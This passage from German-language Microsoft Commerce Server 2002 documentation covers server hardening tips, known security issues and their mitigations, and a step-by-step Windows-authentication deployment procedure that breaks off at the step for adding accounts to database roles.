    • Sichern Sie die Datei "Csapp.ini", indem Sie sowohl den Lese- als auch den Schreibzugriff darauf in IIS deaktivieren. Verwenden Sie zum Sichern dieser Datei keine NTFS-Berechtigungen, da die Datei mit Benutzeranmeldeinformationen wie dem IUSR-Konto lesbar sein muss.
    • Erstellen Sie Skripts zum Sichern der Dateien und Ordner, die die Site enthalten, nachdem Sie diese entpackt haben. Von Commerce Server Site Packager werden NTFS-Ordner- und Dateizugriffsberechtigungen (Zugriffssteuerungslisten) weder gepackt noch entpackt.
    • Gehen Sie beim Konfigurieren der Konten, die sich interaktiv bei einem Webserver anmelden können, überlegt vor: Stellen Sie sicher, dass das Gastkonto deaktiviert ist und nur Konten, die tatsächlich auf den Webserver zugreifen müssen, zugriffsberechtigt sind.
    • Deaktivieren Sie (auf der Registerkarte Basisverzeichnis) die Schreibberechtigungen für IIS-Anwendungen und -Ordner (Internetinformationsdienste).
  • Installieren Sie die Tools des Microsoft Strategic Technology Protection Program, die unter http://go.microsoft.com/fwlink/?LinkId=6689 abgerufen werden können.
    • Entfernen Sie mithilfe des IIS Lockdown-Tools (Internetinformationsdienste) alle nicht benötigten Verknüpfungen aus dem Internetdienste-Manager (z. B. Skripts, Bilder, iishelp, iisadmin und msadc). Informationen zum Downloaden des IIS Lockdown-Tools finden Sie unter http://go.microsoft.com/fwlink/?LinkId=6689.
    • Stellen Sie mit URLScan-Tool sicher, dass die Webserver nur legitime Anforderungen beantworten.
    • Überprüfen Sie die lokalen und Remoteserver mit HFNetCheck, um sicherzustellen, dass dort jeweils alle für Windows 2000, IIS 5.0, Internet Explorer und SQL Server verfügbaren aktuellen Sicherheitspatches installiert sind. Informationen zum Downloaden des HFCheck-Tools finden Sie unter http://go.microsoft.com/fwlink/?LinkId=6715.
    • Installieren Sie mehrere Hotfixes mit nur einem Neustart mithilfe von QChain.exe. Informationen zum Downloaden des QChain.exe-Tools finden Sie im Microsoft Knowledge Base-Artikel Q296861: "Use QChain.exe to Install Multiple Hotfixes with Only One Reboot" (nur auf Englisch verfügbar) unter http://go.microsoft.com/fwlink/?LinkId=6716.


Tipps zur Sicherheit

Es wird dringend empfohlen, die in diesem Thema dargelegten Tipps zur Gewährleistung einer sicheren Installation von Commerce Server zu befolgen.

  • Installieren Sie Commerce Server mithilfe der Windows-Authentifizierung.

    Wenn Sie die Standardinstallationsoptionen nicht übernehmen und stattdessen Commerce Server mithilfe der SQL Server-Authentifizierung installieren, kann diese Bereitstellung mit Sicherheitsrisiken verbunden sein. Informationen zu diesen Sicherheitsrisiken sowie die zum Sichern der Site erforderlichen Schritte finden Sie unter Wichtige Sicherheitshinweise.

    Es wird davon abgeraten, einige Commerce Server-Ressourcen für den Zugriff auf die Datenbanken so zu konfigurieren, dass die SQL Server-Authentifizierung verwendet wird, und anderen Ressourcen so, dass die Windows-Authentifizierung verwendet wird. Für alle Ressourcen sollte dieselbe Sicherheitsmethode konfiguriert werden.

    Die folgenden Probleme beziehen sich auf bestimmte Konfigurationen:

    • Wenn es sich bei dem SQL Server-Computer um einen Remoteserver handelt und Sie die Windows-Authentifizierung für den Datenbankzugriff verwenden, müssen Sie das anonyme IIS-Konto einem Domänenkonto zuordnen.

      Wenn Sie einen SQL Server-Remotecomputer und die Windows-Authentifizierung verwenden, müssen Sie das anonyme IIS-Konto (der Standardwert lautet IUSR_Computer) einem Domänenkonto zuordnen. Anschließend müssen Sie eine SQL Server-Anmeldung für das Domänenkonto erstellen, das über Vollzugriff auf die Commerce Server-Laufzeitdatenbanken verfügt.

    • Wenn es sich bei dem SQL Server-Computer um einen lokalen Server handelt und Sie die Windows-Authentifizierung für den Datenbankzugriff verwenden, müssen Sie SQL Server-Berechtigungen für das Konto zuweisen, das für das anonyme IIS-Konto verwendet wird.

      Bei SQL Server müssen für das anonyme IIS-Konto Berechtigungen für den Zugriff auf den Datenspeicher definiert sein.

      Diese Konfiguration wird z. B. eingerichtet, wenn Sie ein Entwickler sind und die gesamte erforderliche Software auf einem Computer installiert haben.

  • Für Business Desk-Benutzer muss in IIS die Standardauthentifizierung konfiguriert werden.

    Wenn Business Desk-Benutzer Berichte ausführen, greifen sie auf Daten in der Analysis Services-Datenbank zu. Für die Verwendung von Analysis Services über HTTPS sollten Business Desk-Benutzer mithilfe der Standardauthentifizierung authentifiziert werden (da diese die Windows 2000-Anmeldeinformationen weitergibt).

    Bei der Weitergabe der Windows 2000-Anmeldeinformationen über das Web wird mithilfe von HTTPS gewährleistet, dass das Windows-Konto und -Kennwort gesichert sind.

    Hinweis

    • Wenn Business Desk-Benutzer Berichte ausführen und auf Analysis Services über HTTPS zugreifen, werden deren gültige Windows 2000-Benutzer-IDs und -Kennwörter im HTML-Code von Business Desk gespeichert. Weitere Informationen finden Sie unter Zugriff auf den Analysis-Server über HTTPS.
  • Bei einer Bereitstellung mit mehreren Servern und unter Verwendung von AuthFilter, müssen Sie die SQL Server-Authentifizierung für die Verbindungszeichenfolge für die Verwaltungsdatenbank verwenden.

    Hier ergibt sich folgendes Szenario:

    • Stellen Sie Commerce Server mithilfe der Windows-Authentifizierung bereit.
    • Verwenden Sie SQL Server (anstelle von Microsoft Active Directory).
    • Verwenden Sie AuthFilter.
    • Passen Sie die Verbindungszeichenfolge für die Verwaltungsdatenbank an die SQL Server-Authentifizierung an.

    Wenn Sie in diesem Fall AuthFilter verwenden, müssen Sie die Verbindungszeichenfolge für die Verwaltungsdatenbank ändern, da der ISAPI-Filter (und damit auch AuthFilter) in der Sicherheitsumgebung des IIS-Prozesses (inetinfo) ausgeführt wird, der auch als LocalSystem bezeichnet wird. Daher versucht AuthFilter, die Verbindung mit SQL Server auf einem anderen Computer herzustellen, und verwendet dabei die Anmeldeinformationen für LocalSystem, die in diesem Fall jedoch ungültig sind. AuthFilter kann keine netzwerkweiten Verbindungen herstellen. (Wenn sich die Verwaltungsdatenbank in einem lokalen Verzeichnis befindet, kann eine Verbindung hergestellt werden. Die Verwaltungsdatenbank sollte aber nicht auf den Webserver gelegt werden.)

    Dieses Szenario trifft nicht zu, wenn Sie Internetinformationdienste Version 6.0 verwenden.

    Weitere Informationen finden Sie unter Verwenden der Windows-Authentifizierung in einer verteilten Bereitstellung.

  • In Umgebungen mit mehreren Sites darf das Laden von Skripts nicht zulässig sein.

    Wenn das geladene Skript nicht sorgfältig überwacht wird, bestehen Sicherheitsrisiken bezüglich des geladenen Skriptcodes.

Siehe auch

Wichtige Sicherheitshinweise

Verwenden der Windows-Authentifizierung in einer verteilten Bereitstellung

Sichern von Dienstkonten

Sichern der Commerce Server-Laufzeitdatenbanken

Sichern des Data Warehouse

Sichern von Business Desk


Wichtige Sicherheitshinweise

In diesem Thema werden bekannte Sicherheitsprobleme von Commerce Server beschrieben, wie auch die Schritte, mit denen Sie die Sicherheitsrisiken verringern können.

Bekannte Sicherheitsprobleme

  • Katalogsicherheit: Zuordnen von Business Desk-Benutzern zur Rolle "DB_Owner"
  • Site Packager: Löschen der Datei "Unpack.vbs"
  • COM+-Anwendung "Config": Entfernen aller Benutzer aus der Rolle "Web Users"
  • AuthFilter erfordert die SQL-Authentifizierung für die Verwaltungsdatenbank

Katalogsicherheit: Zuordnen von Business Desk-Benutzern zur Rolle "DB_Owner"

Damit Business Desk-Benutzer Kataloge bearbeiten (z. B. Katalogdefinitionen bearbeiten, Kataloge erneut erstellen, Volltextindizes aktualisieren und Kataloge veröffentlichen) können, müssen Sie diese Benutzer der Rolle db_owner für die Katalogdatenbank zuordnen. Anweisungen finden Sie unter Bereitstellen von Commerce Server mithilfe der Windows-Authentifizierung.

Sie sollten die Vertrauenswürdigkeit der Business Desk-Benutzer, die Sie der Rolle db_owner zuordnen, sorgfältig prüfen. Beim Zuordnen eines Business Desk-Benutzers zu dieser Rolle müssen Sie das folgende Sicherheitsrisiko in Betracht ziehen.

Wichtig

  • Ein der Rolle db_owner zugeordneter Business Desk-Benutzer könnte möglicherweise eine Datenbank löschen. Richten Sie zur Verringerung dieses Risikos einen Firewall ein, mit dem direkte Verbindungen zwischen dem Business Desk-Client und der SQL Server-Datenbank mit den Katalogen verhindert werden. Dies ist die empfohlene sichere Konfiguration. Genaue Anweisungen zum Bereitstellen von Firewalls finden Sie unter Bereitstellen einer sicheren Site.

Site Packager: Löschen der Datei "Unpack.vbs"

Wenn Sie beim Entpacken einer Anwendung auf einem Remotewebserver die Datei unpack.vbs erstellen, müssen Sie die Datei unmittelbar nach dem Entpacken der Anwendung löschen.

Die Datei unpack.vbs befindet sich im Stammverzeichnis, und anonyme Benutzer können auf sie zugreifen. Eine nicht autorisierte Verwendung dieser Batchdatei könnte zu einem Denial of Service oder zu einem Verlust von Einstellungen führen.

COM+-Anwendung "Config": Entfernen aller Benutzer aus der Rolle "Web Users"

Obwohl Commerce Server mit fünf COM+-Anwendungen installiert wird, werden zugeordnete Rollen nur von der Anwendung Config, die auf die Verwaltungsdatenbank zugreift, verwendet. Diese Rollen sind im Folgenden aufgeführt:

  • Administrators. Konten mit dieser Rolle verwenden Objekte für Schreibvorgänge in der Verwaltungsdatenbank. Standardmäßig werden dieser Rolle der während des Commerce Server-Setups angemeldete Benutzer sowie die lokale Administratorgruppe hinzugefügt.

    Mit dieser Rolle können Sie Systemadministratoren die Berechtigung zum Verwenden von Commerce Server-Manager erteilen.

  • Web Users. Konten mit dieser Rolle haben die Berechtigung, einen Webserver zu einer Anwendung hinzuzufügen.

    Diese Rolle unterstützt das automatische Hinzufügen von Webservern, z. B. in einem Webfarmszenario: Wenn die Commerce Server-Anwendung zuerst auf dem neuen Webserver gestartet wird. Beispielsweise stellt ein Benutzer eine Verbindung zum Webserver her (oder ein Lastenausgleich wird durchgeführt) und global.asa wird gestartet. Anschließend wird der Webserver automatisch zur Verwaltungsdatenbank hinzugefügt. Die Verwaltungsdatenbank wird mithilfe der Funktion JoinWebFarm aktualisiert. Diese ist in den Lösungssites enthalten.

    Dieser Rolle wird standardmäßig Jeder hinzugefügt. Diese Einstellung müssen Sie folgendermaßen ändern:

    1. Entfernen Sie Jeder.
    2. Fügen Sie das Konto Anonym hinzu (der Standardwert lautet IUSR_<Computername>).
    3. Fügen Sie das Konto IIS-Prozesskonto starten hinzu (der Standardwert lautet IWAM_<Computername>).
    4. Fügen Sie die Konten von allen weiteren Benutzern hinzu, die dazu berechtigt sein sollen, eine Verbindung zur Site herzustellen.

    Weitere Informationen zu JoinWebFarm finden Sie unter JoinWebFarm und Hinzufügen von Webservern ohne Site Packager.

AuthFilter erfordert die SQL-Authentifizierung für die Verwaltungsdatenbank

Wenn Sie AuthFilter in einer verteilten Umgebung verwenden, müssen Sie die Verbindungszeichenfolge für die Verwaltungsdatenbank in die SQL-Authentifizierung ändern. Die Verbindungszeichenfolge muss aus folgendem Grund geändert werden:

Der ISAPI-Filter (und damit auch AuthFilter) wird in der Sicherheitsumgebung des IIS-Prozesses (inetinfo) ausgeführt, der auch als LocalSystem bezeichnet wird. Daher versucht AuthFilter, die Verbindung mit SQL Server auf einem anderen Computer herzustellen, und verwendet dabei die Anmeldeinformationen für LocalSystem, die in diesem Fall jedoch ungültig sind. Netzwerkweite Verbindungen sind aus diesem Grund nicht möglich.

Wenn sich die Verwaltungsdatenbank in einem lokalen Verzeichnis befindet, kann eine Verbindung hergestellt werden. Sie sollten die Verwaltungsdatenbank jedoch grundsätzlich nicht auf dem Webserver ablegen.

Siehe auch

Sichern von Commerce Server-Diensten

Sichern von Commerce Server-Datenbanken

Sichern des Data Warehouse

Sichern von Business Desk


Verwenden der Windows-Authentifizierung

Commerce Server unterstützt die Windows-Authentifizierung für SQL Server. Dies wird auch als integrierte Sicherheit von Windows bezeichnet.

Die Windows-Authentifizierung ist die für eine Commerce Server-Installation empfohlene Konfiguration. Bei der Windows-Authentifizierung werden die Windows-Benutzerkonten für die Authentifizierung von SQL Server verwendet. Commerce Server setzt ein Tag in der Verbindungszeichenfolge. Hierdurch wird SQL Server angewiesen, beim Überprüfen des Sicherheitskontextes eines Benutzers, der auf eine bestimmte Datenbank zugreifen möchte, die Windows-Authentifizierung zu verwenden.

Wenn Sie die Windows-Authentifizierung verwenden, werden Benutzernamen und Kennwörter nicht in SQL Server-Verbindungszeichenfolgen gespeichert und beim Zurücksetzen des SQL Server-Kennwortes auch nicht geändert.

Dieser Abschnitt beinhaltet folgende Themen:

  • Checkliste für das Verwenden der Windows-Authentifizierung
  • Bereitstellen von Commerce Server mithilfe der Windows-Authentifizierung
  • Verwenden der Windows-Authentifizierung bei einer Bereitstellung mit einem einzelnen Computer
  • Verwenden der Windows-Authentifizierung in einer verteilten Bereitstellung
  • Verwenden von Direct Mailer und der Windows-Authentifizierung


Checkliste für das Verwenden der Windows-Authentifizierung

Im Folgenden erhalten Sie eine Checkliste für das Konfigurieren einer sicheren Bereitstellung, in der die Windows-Authentifizierung in einer verteilten Umgebung mit Domänencontrollern verwendet wird. Ein Diagramm einer sicheren Bereitstellung finden Sie unter Übersicht über ein Beispiel für sichere Bereitstellung.

Domänencontroller

  • Installieren Sie Active Directory im einheitlichen Modus.
  • Führen Sie setspn.exe aus, um den SPN (Service Principle Name) festzulegen.
  • Führen Sie setspn –L aus, um das Vorhandensein von Host/WebServerNetbios und Host/WebServerDNSName zu überprüfen.
  • Führen Sie setspn -L SQLnetbiosName aus, um das Vorhandensein des SQL Service Principle Name zu überprüfen.

Webserver

  • Konfigurieren Sie eine mittlere Isolation (OOB) mithilfe von IWAM\<Computername>. Es sind keine zusätzlichen Anmeldeinformationen für IWAM erforderlich.

    Bei Bereitstellungen mit mehreren Sites ist ein hoher Isolationsmodus erforderlich.

  • Überprüfen Sie, ob TCP/IP als Protokoll/Netzwerkbibliothek für SQL-Clientverbindungen aktiviert ist.

SQL Server

  • Konfiguration Sie eine Authentifizierung im gemischten Modus.
  • Aktivieren Sie das TCP/IP-Protokoll für den Server. Wenn Sie eine benannte Instanz verwenden, sollten Sie beim Neustart des Dienstes (MSSQLSVC) eine Anschlussnummer bereitstellen, und von SQL sollte ein Service Principle Name (d. h. mssqlsvc/dnsname:port) hinzugefügt werden.

Business Desk-Client

  • Der Computer, auf dem der Business Desk-Client installiert ist, muss sich entweder in derselben Domäne (Gesamtstruktur) wie die Computer der Datenebene befinden, oder in einer vertrauenswürdigen Domäne.
  • Verwenden Sie Internet Explorer 5.5 oder höher. Wenn Sie Internet Explorer 6.0 installieren, ist die Option Integrierte Windows-Authentifizierung verwenden standardmäßig deaktiviert. Sie müssen diese Option aktivieren.


Bereitstellen von CommerceServer mithilfe der Windows-Authentifizierung

Feedback zu dieser Seite senden Commerce Server 2002

Bereitstellen von Commerce Server mithilfe der Windows-Authentifizierung

Es wird dringend empfohlen, Commerce Server mit der integrierten Sicherheit von Windows zu installieren und die Datenbanken für die Verwendung der Windows-Authentifizierung zu sichern.

Im Folgenden werden die Schritte aufgeführt, die durchzuführen sind, um Commerce Server mit der integrierten Sicherheit von Windows zu installieren und die Dienste und Datenbanken für die Verwendung der Windows-Authentifizierung zu sichern. Jeder der Schritte wird in diesem Abschnitt eingehend erläutert.

  • Schritt 1: Ausführen von "dcpromo" und Installieren der Active Directory-Dienste
  • Schritt 2: Erstellen der erforderlichen Konten
  • Schritt 3: Installieren von Commerce Server mithilfe der integrierten Sicherheit von Windows
  • Schritt 4: Entpacken der Site und Konfigurieren der Datenbank-Verbindungszeichenfolgen für die Windows-Authentifizierung
  • Schritt 5: Einrichten einer vertrauenswürdigen Verbindung für Business Desk-Benutzer
  • Schritt 6: Zuordnen des anonymen Kontos der Website zum anonymen Domänenkonto
  • Schritt 7: Erstellen von SQL-Anmeldekonten für jedes erforderliche Konto
  • Schritt 8: Ausführen der Commerce Server-Datenbanksicherheitsskripts
  • Schritt 9: Hinzufügen der erforderlichen Konten zu Datenbankrollen
  • Schritt 10: Einrichten der OLAP-Datenbank
  • Schritt 11: Hinzufügen der Dienstkonten zur Rolle für die COM+-Anwendung "Config"
  • Schritt 12: Hinzufügen einzelner Business Desk-Benutzerkonten zum Konto "BDGroup"
  • Schritt 13: Zuweisen von Business Desk-Berechtigungen zu Benutzern
  • Schritt 14: Aktivieren der integrierten Windows-Authentifizierung in Internet Explorer
  • Schritt 15: Zuordnen des Benutzeranmeldekontos zum Datenbankbesitzer (Database Owner, dbo)

Schritt 1: Ausführen von "dcpromo" und Installieren der Active Directory-Dienste

Bei diesem Schritt wird angenommen, dass Sie weder die Active Directory-Dienste noch DNS (Domain Name Service) auf einem Computer installiert haben und nicht über einen Domänencontroller verfügen. Wenn die Active Directory-Dienste bereits installiert sind, fahren Sie mit Schritt 2: Erstellen der erforderlichen Konten fort.

Ausführliche Anweisungen zum Ausführen von dcpromo und zum Installieren der Active Directory-Dienste finden Sie unter Konfigurieren von Active Directory und DNS auf Computer 1.

So führen Sie "dcpromo" aus und installieren die Active Directory-Dienste

  1. Klicken Sie auf Start und anschließend auf Ausführen.
  2. Geben Sie im Dialogfeld Ausführen im Feld Öffnen erst dcpromo ein, und klicken Sie dann auf OK.

    Der Assistent zum Installieren von Active Directory wird gestartet.

  3. Folgen Sie den Onlineanweisungen des Assistenten, und beachten Sie dabei Folgendes:
    • Im Dialogfeld Administratorkennwort für "Verzeichnisdienste wiederherstellen" werden Sie aufgefordert, das Kennwort einzugeben, das Sie dem Administratorkonto für den DNS-Server zuweisen möchten. Bei diesem Konto handelt es sich nicht um das Administratorkonto für den Computer.

Schritt 2: Erstellen der erforderlichen Konten

Erstellen Sie die erforderlichen Benutzer- und Gruppenkonten auf dem Computer, auf dem die Active Directory-Dienste installiert sind.

So erstellen Sie die erforderlichen Konten

  1. Melden Sie sich am Computer als Administrator (nicht als Domänenadministrator) an.
  2. Klicken Sie auf Start, zeigen Sie auf Programme, anschließend auf Verwaltung, und klicken Sie dann auf Active Directory-Benutzer und -Computer.
  3. Klicken Sie in Active Directory-Benutzer und -Computer mit der rechten Maustaste auf Benutzer, und klicken Sie dann auf Neuer Benutzer.
  4. Geben Sie im Dialogfeld Neuer Benutzer den Namen des Benutzerkontos ein (z. B. CSDM), und klicken Sie dann auf Erstellen.
  5. Wiederholen Sie diese Schritte, bis Sie die folgenden Konten erstellt haben.
    Kontobenutzer | Beispielkontoname | Beschreibung
    Laufzeitbenutzer | Anonym | Ein Benutzerkonto für anonyme Benutzer, die Ihre Website besuchen
    Direct Mailer-Dienst | CSDM | Ein Benutzerkonto für den Direct Mailer-Dienst
    Listen-Manager-Dienst | CSLM | Ein Benutzerkonto für den Listen-Manager-Dienst
    COM+-Anwendung "Config" | CSCOMPlus | Ein Benutzerkonto für die COM+-Anwendung Config
    Business Desk-Gruppe | BDGroup | Ein Gruppenkonto für alle Business Desk-Benutzer, einschließlich der Benutzer, die Berichte ausführen. Diese werden auch als Entwurfszeitbenutzer bezeichnet.
    Erweiterte Berichtsgruppe | ReportAdvanced | Ein Gruppenkonto für Business Desk-Benutzer, die dynamische Berichte speichern sowie Berichte ändern und löschen müssen
    DTS-Task-Importgruppe | DTSImport | Ein Gruppenkonto für Systemadministratoren, die die DTS-Tasks zum Importieren und Erweitern des Data Warehouse ausführen

    Wenn Sie das Business Desk-Gruppenkonto erstellen möchten, klicken Sie mit der rechten Maustaste auf Gruppe (statt auf Benutzer), und klicken Sie dann auf Neue Gruppe.

Schritt 3: Installieren von Commerce Server mithilfe der integrierten Sicherheit von Windows

Überprüfen Sie vor der Installation von Direct Mailer, ob der SQL Server-Agent gestartet wurde. Wenn er nicht gestartet wurde, kann Direct Mailer nicht installiert werden.

So installieren Sie Commerce Server mithilfe der integrierten Sicherheit von Windows

  1. Melden Sie sich als Administrator des Computers an. Melden Sie sich nicht als Domänenadministrator an.
  2. Legen Sie die Commerce Server 2002-CD in das Laufwerk ein. Doppelklicken Sie im Stammverzeichnis der Commerce Server 2002-CD auf Setup.exe. Das Programm Commerce Server 2002-Setup wird gestartet.
  3. Wählen Sie im Bildschirm Konfiguration der Verwaltungsdatenbank die Option Integrierte Sicherheit von Windows verwenden aus, und klicken Sie dann auf Weiter.
  4. Wählen Sie im Bildschirm Konfiguration der Direct Mailer-Datenbank die Option Integrierte Sicherheit von Windows verwenden aus, und klicken Sie dann auf Weiter.
  5. Klicken Sie im Dialogfeld Dienstkonten auf Direct Mailer-Dienst, und geben Sie dann das Windows 2000-Konto für Direct Mailer an, z. B. CSDM.
  6. Wiederholen Sie Schritt 5 für die folgenden Dienste:
    Dienst | Beispielkontoname
    Listen-Manager | CSLM
    COM+-Anwendung "Config" | CSCOMPlus

    Das Setup-Programm von Commerce Server gewährt den angegebenen Konten automatisch das Recht Anmelden als Dienst.

    Die Ereignisprotokollierung muss unter einem lokalen Administratorkonto ausgeführt werden.

  7. Klicken Sie auf Installieren, um den Installationsprozess zu starten.
  8. Klicken Sie zum Abschluss des Installationsprozesses auf Fertig stellen.

Schritt 4: Entpacken der Site und Konfigurieren der Datenbank-Verbindungszeichenfolgen für die Windows-Authentifizierung

Beim Entpacken der Site werden die Verbindungszeichenfolgen für die Datenbanken automatisch so konfiguriert, dass die Windows-Authentifizierung verwendet wird.

  1. Melden Sie sich als Domänenbenutzer mit Administratorrechten an den Webserver- und Datenbankcomputern an.
  2. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft Commerce Server 2002. Klicken Sie anschließend auf Commerce Site Packager.

    Commerce Server Site Packager wird gestartet.

  3. Folgen Sie den Onlineanweisungen. Standardmäßig sind alle Datenbank-Verbindungszeichenfolgen so konfiguriert, dass die Windows-Authentifizierung verwendet wird.

    Es wird davon ausgegangen, dass Sie die Option Benutzerdefiniert auswählen und die folgenden Datenbanken erstellen:

    • Berechtigungen in Business Desk
    • Katalog
    • Profile
    • Kampagnen
    • TransactionConfig
    • Transaktionen

    Ändern Sie die folgenden Schritte entsprechend, wenn Sie andere Datenbanken verwenden oder alle Ressourcen in einer einzigen Datenbank installiert wurden.

Schritt 5: Einrichten einer vertrauenswürdigen Verbindung für Business Desk-Benutzer

Führen Sie diesen Schritt auf dem Computer aus, auf dem Sie die Active Directory-Dienste in Schritt 1: Ausführen von "dcpromo" und Installieren der Active Directory-Dienste installiert haben.

So richten Sie eine vertrauenswürdige Verbindung für Business Desk-Benutzer ein

  1. Klicken Sie auf Start, zeigen Sie auf Programme, anschließend auf Verwaltung, und klicken Sie dann auf Active Directory-Benutzer und -Computer.
  2. Klicken Sie im Bildschirm Active Directory-Benutzer und -Computer mit der rechten Maustaste auf den entsprechenden Computernamen, und klicken Sie dann auf Eigenschaften.
  3. Aktivieren Sie im Dialogfeld Eigenschaften von <Computername> auf der Registerkarte Allgemein das Kontrollkästchen Computer für Delegierungszwecke vertrauen, und klicken Sie dann auf OK.

Schritt 6: Zuordnen des anonymen Kontos der Website zum anonymen Domänenkonto

In diesem Schritt ordnen Sie das anonyme Benutzerkonto der Website (in Internetinformationsdienste ist dies standardmäßig IUSR_<Computername>) dem anonymen Domänenkonto zu, das Sie in Schritt 2: Erstellen der erforderlichen Konten erstellt haben.

So ändern Sie das anonyme Konto der Site in ein Domänenkonto

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Verwaltung, und klicken Sie dann auf Internetdienste-Manager.
  2. Navigieren Sie im Internetdienste-Manager zur entsprechenden Anwendung (z. B. Retail_Site).
  3. Klicken Sie mit der rechten Maustaste auf die Anwendung (z. B. Retail_Site), und klicken Sie dann auf Eigenschaften.
  4. Klicken Sie im Dialogfeld Eigenschaften auf der Registerkarte Verzeichnissicherheit im Bereich Steuerung des anonymen Zugriffs und der Authentifizierung auf Bearbeiten.
  5. Klicken Sie im Dialogfeld Authentifizierungsmethoden im Abschnitt Anonymer Zugriff auf Bearbeiten.
  6. Geben Sie im Dialogfeld Anonymes Benutzerkonto im Feld Benutzername den Namen des anonymen Domänenkontos ein (z. B. Anonym).
  7. Klicken Sie mehrmals auf OK, um alle Dialogfelder zu schließen.
  8. Klicken Sie auf Start und anschließend auf Ausführen.
  9. Geben Sie im Dialogfeld Ausführen im Feld Öffnen die Zeichenfolge iisreset ein, und klicken Sie anschließend auf OK.
Während IIS zurückgesetzt wird, erscheint ein Befehlsfeld. Wenn das Befehlsfeld geschlossen wird, ist der Rücksetzungsvorgang von IIS beendet.

Schritt 7: Erstellen von SQL-Anmeldekonten für jedes erforderliche Konto

In diesem Schritt erstellen Sie die SQL-Anmeldekonten auf dem SQL Server-Computer. Erstellen Sie für jedes Domänenkonto (außer für das Konto der COM+-Anwendung Config) ein Konto.

So erstellen Sie ein SQL-Anmeldekonto

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie im SQL Server Enterprise Manager die Knoten auf den folgenden Pfad: Microsoft SQL Servers/SQL Server Group/<Computername>/Security.
  3. Klicken Sie mit der rechten Maustaste auf Benutzername, und klicken Sie anschließend auf Neuer Benutzername.
  4. Führen Sie im Bildschirm SQL Server-Anmeldungseigenschaften – Neuer Benutzername auf der Registerkarte Allgemein die folgenden Schritte aus:
    Option | Aktion
    Name | Geben Sie den Namen des Domänenbenutzerkontos (z. B. Anonym als Beispielbenutzerkonto für die Laufzeitbenutzer) ein.
    Windows-Authentifizierung | Vergewissern Sie sich, dass diese Option aktiviert ist.
    Domäne | Wählen Sie in der Dropdownliste die Domäne des Kontos aus.
    Zugriff gewähren | Vergewissern Sie sich, dass diese Option für den Sicherheitszugriff aktiviert ist.
    Datenbank | Wählen Sie in der Dropdownliste für diese Anmeldung die Masterdatenbank aus.
    Sprache | Wählen Sie in der Dropdownliste für diese Anmeldung die Standardsprache aus.
  5. Klicken Sie auf OK.
  6. Wiederholen Sie diese Schritte, bis Sie für jedes der folgenden Domänenkonten ein SQL Server-Anmeldekonto erstellt haben:
    Konto | Beispielkontoname
    Laufzeitbenutzer | Anonym
    Direct Mailer-Dienst | CSDM
    Listen-Manager-Dienst | CSLM
    Business Desk-Gruppe | BDGroup
    Erweiterte Berichtsgruppe | ReportAdvanced
    DTS-Task-Importgruppe | DTSImport
    COM+-Anwendung "Config" | CSCOMPlus

Schritt 8: Ausführen der Commerce Server-Datenbanksicherheitsskripts

Führen Sie die Commerce Server-Sicherheitsskripts aus, um automatisch Sicherheitsrollen für die erforderlichen Konten zu erstellen, und weisen Sie die entsprechenden Datenbankberechtigungen zu. Diese Skripts befinden sich im Ordner Programme\Microsoft Commerce Server\Support.

So führen Sie die Skripts aus und erstellen Sicherheitsrollen

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf SQL Query Analyzer.
  2. Geben Sie im Dialogfeld Verbindung mit SQL Server herstellen den entsprechenden SQL-Server an.
  3. Wählen Sie in Query Analyzer in der Datenbank-Dropdownliste die Datenbank aus, für die Sie das Skript ausführen möchten.
  4. Klicken Sie auf Datei und dann auf Öffnen.
  5. Navigieren Sie zu den Skripts im Ordner Programme\Microsoft Commerce Server\Support, und wählen Sie das auszuführende Skript aus.

    Das Skript wird geöffnet, und der Code wird im Fenster Query Analyzer angezeigt.

  6. Klicken Sie auf der Symbolleiste auf Ausführen, um das Skript für die ausgewählte Datenbank auszuführen.
  7. Wiederholen Sie diese Schritte, um alle Skripts für die in der folgenden Tabelle aufgelisteten Datenbanken auszuführen.

Hinweis

  • Sie müssen vor dem Ausführen des Skripts ReportAdvanced.sql zuerst das Skript ReportViewer.sql ausführen.

Sicherheitsskripts für die Commerce Server-Laufzeitdatenbanken

Skriptname | Ausführung für diese Datenbank
BDReaderRole und BDWriterRole | Berechtigungen in Business Desk
CampaignReaderRole und CampaignWriterRole | Kampagnen
CatalogSecurityRoles | Produktkatalog
ProfileReaderRole und ProfileWriterRole | Profile
TransactionConfigReaderRole und TransactionConfigWriterRole | TransactionConfig
TransactionReaderRole und TransactionWriterRole | Transaktionen

Sicherheitsskripts für Analysis und Data Warehouse

Skript | Ausführung für diese Datenbank
ReportViewer.sql | Data Warehouse
ReportAdvanced.sq | Data Warehouse
Dts_AdminDB_SecurityRole.sql | Verwaltungsdatenbank (MSCS_Admin)
Dts_CommerceDB_Campaign_SecurityRole.sql | Kampagnen
Dts_CommerceDB_Catalog_SecurityRole.sql | Produktkatalog
Dts_CommerceDB_Transaction_SecurityRole.sql | Transaktionen
Dts_CommerceDB_UPM_SecurityRole.sql | Profile

Hinweise

  • Führen Sie das Skript CatalogSecurityRoles und das Skript Dts_CommerceDB_Catalog_SecurityRole nach dem Durchführen der folgenden Aufgaben erneut aus:
    • Erstellen neuer Kataloge
    • Hinzufügen von Sprachen zu einem Katalog
    • Erneutes Erstellen virtueller Kataloge

Die Laufzeit-Datenbanktabellen von Commerce Server können entweder in einer Datenbank gespeichert werden, oder jede Ressource kann über Tabellen in einer eigenen Datenbank verfügen.

Diese Skripts wurden für die Arbeit mit SQL Server sowie für die in den Laufzeit-Datenbanken und in der Verwaltungsdatenbank von Commerce Server gespeicherten Daten entwickelt. Sie sind jedoch nicht für die Verwendung mit Active Directory oder einer Oracle-Datenbank vorgesehen.

Schritt 9: Hinzufügen der erforderlichen Konten zu Datenbankrollen

Fügen Sie nach dem Ausführen sämtlicher Skripts den neu erstellten Rollen die erforderlichen Konten hinzu.

So fügen Sie ein erforderliches Konto zu einer Datenbankrolle hinzu

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie in SQL Server Enterprise Manager den Bereich Sicherheit, und klicken Sie dann auf Benutzernamen.
  3. Klicken Sie mit der rechten Maustaste auf ein SQL-Anmeldekonto, und klicken Sie dann auf Eigenschaften.
  4. Klicken Sie im Dialogfeld SQL Server-Anmeldungseigenschaften auf die Registerkarte Datenbankzugriff.
